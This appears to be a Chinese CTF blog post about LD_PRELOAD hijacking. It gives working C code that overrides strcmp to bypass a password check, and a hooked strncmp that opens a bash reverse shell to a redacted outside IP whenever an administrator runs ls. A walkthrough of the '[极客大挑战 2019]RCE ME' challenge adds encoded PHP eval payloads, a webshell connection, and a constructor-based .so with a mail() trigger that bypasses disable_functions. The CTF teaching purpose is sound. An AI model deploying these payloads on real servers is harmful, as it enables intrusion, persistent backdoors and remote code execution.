LD_PRELOAD劫持

介绍

- 最近在准备长城杯线下赛的时候,看到一个知识点,是关于LD_PRELOAD的,突然发现自己在这方面一点都不知道,我记得之前春秋杯吧,还是哪个比赛,出过一道这个关于LD_PRELOAD的题目,所以今天就来补补课吧!
- ```txt
  LD_PRELOAD is an environment variable in Linux (and other Unix-like systems) that lets you load a shared library (.so file) before any other libraries 
  when a program runs. Think of it like putting your code at the front of the line.
  
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
	- 这一段是gemini对于什么是**LD_PRELOAD**的解释。简单来说,**LD_PRELOAD**就是一个动态的链接库,在linux和类unix操作系统里面存在的,一般以.so后缀结尾,主要作用是当执行程序的时候,会调用这里面的动态链接,来创建进程,这样可以提高程序运行的效率。
- 当然,这样也有一个很大的问题,就是当我们可以修改动态库里的函数,利用函数来反弹shell,或者执行恶意代码,那么就会有很大的安全隐患,接下来介绍一下吧。

-

- ## 漏洞示例

- ```C
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
char passwd[] = "password";
if (argc < 2) {
printf("usage: %s <given-password>\n", argv[0]);
return 0;
}
if (!strcmp(passwd, argv[1])) {
printf("\033[0;32;32mPassword Correct!\n\033[m");
return 1;
} else {
printf("\033[0;32;31mPassword Wrong!\n\033[m");
return 0;
}
}
  • 一段简单的密码校验c语言程序

  • image.png

  • 可以看到,当密码不是password的时候就会爆红,那么该如何利用LD_PRELOAD呢?

  • 之前说过,当执行程序的时候,会自动调用LD_PRELOAD里的函数并开启进程,那么直接看一下这个二进制文件为哪些函数开启进程不就好了吗

  • image.png

  • 可以看到,25行的函数就是我们的目标函数,为啥选它呢?因为它就在我们的程序里面用来判断密码的,而且overwrite比较方便

  • #include <stdlib.h>
    #include <string.h>
    
    int strcmp(const char *s1, const char *s2) {
        if (getenv("LD_PRELOAD") == NULL) {
            return 0;
        }
        unsetenv("LD_PRELOAD");
        return 0;
    }
    
    1
    2
    3
    4
    5

    - 这样编译成.so文件之后利用命令

    - ```bash
    export LD_PRELOAD=$PWD/xxx.so
  • 就可以修改环境变量LD_PRELOAD 然后不管输入什么密码都不会报错

  • image.png

  • 反弹shell

    • 讲了一些不太实际的用处,再来讲一些有用的吧,比如如何反弹shell。一些黑客,在入侵一台服务器的时候,可能会希望只要管理员执行了某个命令,就可以直接反弹shell到我们的机子上,那么在linux运维中最常用的命令就是ls,我们来看看ls执行时会调用什么函数

    • Symbol table '.dynsym' contains 124 entries:
         Num:    Value          Size Type    Bind   Vis      Ndx Name
           0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND 
           1: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __ctype_toupper_loc@GLIBC_2.3 (2)
           2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getenv@GLIBC_2.2.5 (3)
           3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fgetfilecon@LIBSELINUX_1.0 (4)
           4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND sigprocmask@GLIBC_2.2.5 (3)
           5: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __snprintf_chk@GLIBC_2.3.4 (5)
           6: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND raise@GLIBC_2.2.5 (3)
           7: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.34 (6)
           8: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND abort@GLIBC_2.2.5 (3)
           9: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __errno_location@GLIBC_2.2.5 (3)
          10: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getfilecon_raw@LIBSELINUX_1.0 (4)
          11: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strncmp@GLIBC_2.2.5 (3)
          12: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_deregisterTMCloneTable
          13: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND localtime_r@GLIBC_2.2.5 (3)
          14: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND _exit@GLIBC_2.2.5 (3)
          15: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strcpy@GLIBC_2.2.5 (3)
          16: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __fpending@GLIBC_2.2.5 (3)
          17: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND isatty@GLIBC_2.2.5 (3)
          18: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND sigaction@GLIBC_2.2.5 (3)
          19: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND iswcntrl@GLIBC_2.2.5 (3)
          20: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND reallocarray@GLIBC_2.26 (7)
          21: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND localeconv@GLIBC_2.2.5 (3)
          22: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND faccessat@GLIBC_2.4 (8)
          23: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND readlink@GLIBC_2.2.5 (3)
          24: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND clock_gettime@GLIBC_2.17 (9)
          25: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND setenv@GLIBC_2.2.5 (3)
          26: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND textdomain@GLIBC_2.2.5 (3)
          27: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fclose@GLIBC_2.2.5 (3)
          28: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND opendir@GLIBC_2.2.5 (3)
          29: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getpwuid@GLIBC_2.2.5 (3)
          30: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND bindtextdomain@GLIBC_2.2.5 (3)
          31: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND listxattr@GLIBC_2.3 (2)
          32: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND dcgettext@GLIBC_2.2.5 (3)
          33: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __ctype_get_mb_cur_max@GLIBC_2.2.5 (3)
          34: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strlen@GLIBC_2.2.5 (3)
          35: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@GLIBC_2.4 (8)
          36: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getopt_long@GLIBC_2.2.5 (3)
          37: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND freecon@LIBSELINUX_1.0 (4)
          38: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strchr@GLIBC_2.2.5 (3)
          39: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getgrgid@GLIBC_2.2.5 (3)
          40: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND snprintf@GLIBC_2.2.5 (3)
          41: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __overflow@GLIBC_2.2.5 (3)
          42: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strrchr@GLIBC_2.2.5 (3)
          43: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND gmtime_r@GLIBC_2.2.5 (3)
          44: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND lseek@GLIBC_2.2.5 (3)
          45: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __assert_fail@GLIBC_2.2.5 (3)
          46: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fnmatch@GLIBC_2.2.5 (3)
          47: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND memset@GLIBC_2.2.5 (3)
          48: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND ioctl@GLIBC_2.2.5 (3)
          49: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strnlen@GLIBC_2.2.5 (3)
          50: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getcwd@GLIBC_2.2.5 (3)
          51: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND mbrtoc32@GLIBC_2.16 (10)
          52: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strspn@GLIBC_2.2.5 (3)
          53: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND closedir@GLIBC_2.2.5 (3)
          54: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND memcmp@GLIBC_2.2.5 (3)
          55: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND _setjmp@GLIBC_2.2.5 (3)
          56: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fputs_unlocked@GLIBC_2.2.5 (3)
          57: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND rawmemchr@GLIBC_2.2.5 (3)
          58: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND calloc@GLIBC_2.2.5 (3)
          59: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND signal@GLIBC_2.2.5 (3)
          60: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND dirfd@GLIBC_2.2.5 (3)
          61: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fputc_unlocked@GLIBC_2.2.5 (3)
          62: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getpwnam@GLIBC_2.2.5 (3)
          63: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __memcpy_chk@GLIBC_2.3.4 (5)
          64: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND sigemptyset@GLIBC_2.2.5 (3)
          65: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
          66: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND stat@GLIBC_2.33 (11)
          67: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND memcpy@GLIBC_2.14 (12)
          68: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND lgetfilecon_raw@LIBSELINUX_1.0 (4)
          69: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getgrnam@GLIBC_2.2.5 (3)
          70: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __isoc23_strtoumax@GLIBC_2.38 (13)
          71: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND tzset@GLIBC_2.2.5 (3)
          72: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fileno@GLIBC_2.2.5 (3)
          73: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND tcgetpgrp@GLIBC_2.2.5 (3)
          74: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND readdir@GLIBC_2.2.5 (3)
          75: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND wcwidth@GLIBC_2.2.5 (3)
          76: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fflush@GLIBC_2.2.5 (3)
          77: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND nl_langinfo@GLIBC_2.2.5 (3)
          78: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strcoll@GLIBC_2.2.5 (3)
          79: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND mktime@GLIBC_2.2.5 (3)
          80: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __freading@GLIBC_2.2.5 (3)
          81: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fwrite_unlocked@GLIBC_2.2.5 (3)
          82: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND realloc@GLIBC_2.2.5 (3)
          83: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND setlocale@GLIBC_2.2.5 (3)
          84: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __printf_chk@GLIBC_2.3.4 (5)
          85: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND statx@GLIBC_2.28 (14)
          86: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND timegm@GLIBC_2.2.5 (3)
          87: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strftime@GLIBC_2.2.5 (3)
          88: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND mempcpy@GLIBC_2.2.5 (3)
          89: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND memmove@GLIBC_2.2.5 (3)
          90: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND error@GLIBC_2.2.5 (3)
          91: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fseeko@GLIBC_2.2.5 (3)
          92: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND unsetenv@GLIBC_2.2.5 (3)
          93: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __cxa_atexit@GLIBC_2.2.5 (3)
          94: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getxattr@GLIBC_2.3 (2)
          95: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND gethostname@GLIBC_2.2.5 (3)
          96: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND sigismember@GLIBC_2.2.5 (3)
          97: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND exit@GLIBC_2.2.5 (3)
          98: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fwrite@GLIBC_2.2.5 (3)
          99: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __fprintf_chk@GLIBC_2.3.4 (5)
         100: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMCloneTable
         101: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getfilecon@LIBSELINUX_1.0 (4)
         102: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fflush_unlocked@GLIBC_2.2.5 (3)
         103: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND mbsinit@GLIBC_2.2.5 (3)
         104: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND lgetfilecon@LIBSELINUX_1.0 (4)
         105: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND iswprint@GLIBC_2.2.5 (3)
         106: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fgetfilecon_raw@LIBSELINUX_1.0 (4)
         107: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND sigaddset@GLIBC_2.2.5 (3)
         108: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __ctype_tolower_loc@GLIBC_2.3 (2)
         109: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __ctype_b_loc@GLIBC_2.3 (2)
         110: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __sprintf_chk@GLIBC_2.3.4 (5)
         111: 0000000000026560     8 OBJECT  GLOBAL DEFAULT   26 obstack_alloc_failed_handler
         112: 00000000000265e8     8 OBJECT  GLOBAL DEFAULT   27 stdout@GLIBC_2.2.5 (3)
         113: 0000000000000000     0 FUNC    WEAK   DEFAULT  UND __cxa_finalize@GLIBC_2.2.5 (3)
         114: 00000000000265e0     8 OBJECT  GLOBAL DEFAULT   27 __progname@GLIBC_2.2.5 (3)
         115: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND free@GLIBC_2.2.5 (3)
         116: 0000000000026608     8 OBJECT  WEAK   DEFAULT   27 program_invocation_name@GLIBC_2.2.5 (3)
         117: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND malloc@GLIBC_2.2.5 (3)
         118: 0000000000026608     8 OBJECT  GLOBAL DEFAULT   27 __progname_full@GLIBC_2.2.5 (3)
         119: 00000000000265e0     8 OBJECT  WEAK   DEFAULT   27 program_invocation_short_name@GLIBC_2.2.5 (3)
         120: 0000000000026620     8 OBJECT  GLOBAL DEFAULT   27 stderr@GLIBC_2.2.5 (3)
         121: 00000000000265f0     4 OBJECT  GLOBAL DEFAULT   27 optind@GLIBC_2.2.5 (3)
         122: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strcmp@GLIBC_2.2.5 (3)
         123: 0000000000026600     8 OBJECT  GLOBAL DEFAULT   27 optarg@GLIBC_2.2.5 (3)
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21

      - 可以看到有很多函数,我们还是寻找一些c语言中调用的函数吧,125行 strncmp可以作为跳板

      - 编写exp

      - ```C
      #include <stdlib.h>
      #include <stdio.h>
      #include <string.h>

      void payload() {
      system("bash -c 'bash -i >& /dev/tcp/47.xxx.xxx.xxx/xxxx 0>&1'");
      }

      int strncmp(const char *__s1, const char *__s2, size_t __n) {
      if (getenv("LD_PRELOAD") == NULL) {
      return 0;
      }
      unsetenv("LD_PRELOAD");
      payload();
      }
    • 这样的话只要执行ls命令就会开启进程,执行strncmp函数,就会执行我们的overwrite写的东西。

    • image.png

    • 成功反弹shell!

  • [极客大挑战 2019]RCE ME

    • 最后来看一个实际应用吧,buuoj上的[极客大挑战 2019]RCE ME。这道题其实还有其他解,但是主要是讲LD_PRELOAD所以别的解法就自行google。

    • 打开网站,就是源码

    • <?php
      error_reporting(0);
      if(isset($_GET['code'])){
                  $code=$_GET['code'];
                          if(strlen($code)>40){
                                              die("This is too Long.");
                                                      }
                          if(preg_match("/[A-Za-z0-9]+/",$code)){
                                              die("NO.");
                                                      }
                          @eval($code);
      }
      else{
                  highlight_file(__FILE__);
      }
      
      // ?>
      
      
      
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14

      - 直接异或phpinfo()查看一下信息?code=(~%8F%97%8F%96%91%99%90)();

      - ![image.png](../assets/image_1741767631378_0.png)

      - 可以看到过滤了很多函数,但是没有过滤mail和error_log函数,这两个是利用的关键函数。

      - ```php
      <?php
      $str1 = 'assert';
      echo urlencode(~$str1);
      $str2 = '(eval($_POST[cmd]))';
      echo '\n';
      echo urlencode(~$str2);
    • 直接蚁剑连接,

    • image.png{:height 476, :width 705}

    • flag有大小,但是打开是空的,说明我们看不了,查看tmp目录,发现可以上传文件,那就把我们的.so文件上传上去,

    • #include <stdio.h>
      #include <unistd.h>
      #include <stdlib.h>
      
      static void hack(void) __attribute__((constructor));
      
      static void hack(void)
      {
          unsetenv("LD_PRELOAD");
          system("/readflag > /tmp/st3r");
      }
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10

      - 简单解释一下,__attribute__((constructor))这个标志的意思就是,我不修改LD_PRELOAD库里的函数,我直接把我自定义的hack函数提到最前面,意思就是在调用LD_PRELOAD里面的函数之前,先调用我的方法。

      - 然后在/tmp目录下写一个php的文件来调用LD_PRELOAD

      - ```php
      <?php
      putenv("LD_PRELOAD=/tmp/hack.so");
      mail("" , "" , "" , "");
      ?>
    • 最后通过异或来包含这个文件就可以自动执行/readflag命令并且把flag输出到/tmp/st3r

    • ?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/tmp/st3r.php%27)
      
    • image.png

    • flag{c18f3d4d-b723-4729-bb1c-37b3d21dcebd}

    • 当然也可以直接上传这位师傅的php文件,只是最后请求url会长一些,我因为还不是特别熟悉,所以选择自己写脚本https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD


LD_PRELOAD劫持
http://st3r665.github.io/2025/03/12/LD-PRELOAD劫持/
作者
St3r
发布于
2025年3月12日
许可协议